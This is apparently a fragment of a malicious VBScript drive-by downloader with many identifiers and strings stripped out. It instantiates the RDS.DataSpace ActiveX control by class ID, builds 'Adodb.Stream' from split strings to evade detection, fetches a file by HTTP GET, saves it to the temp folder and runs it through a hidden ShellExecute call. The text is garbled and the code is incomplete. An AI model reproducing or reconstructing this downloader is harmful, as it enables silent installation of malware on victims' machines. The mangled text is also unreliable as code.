on error resume next
dl = "/"
Set df = ("object")
"classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str=""
Set x = (str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = (str5,"")
= 1
str6="GET"
str6, dl, False
fname1=""
set F = ("","")
set tmp = (2)
fname1= (tmp,fname1)
fname1,2
set Q = ("","")
fname1,"","","open",0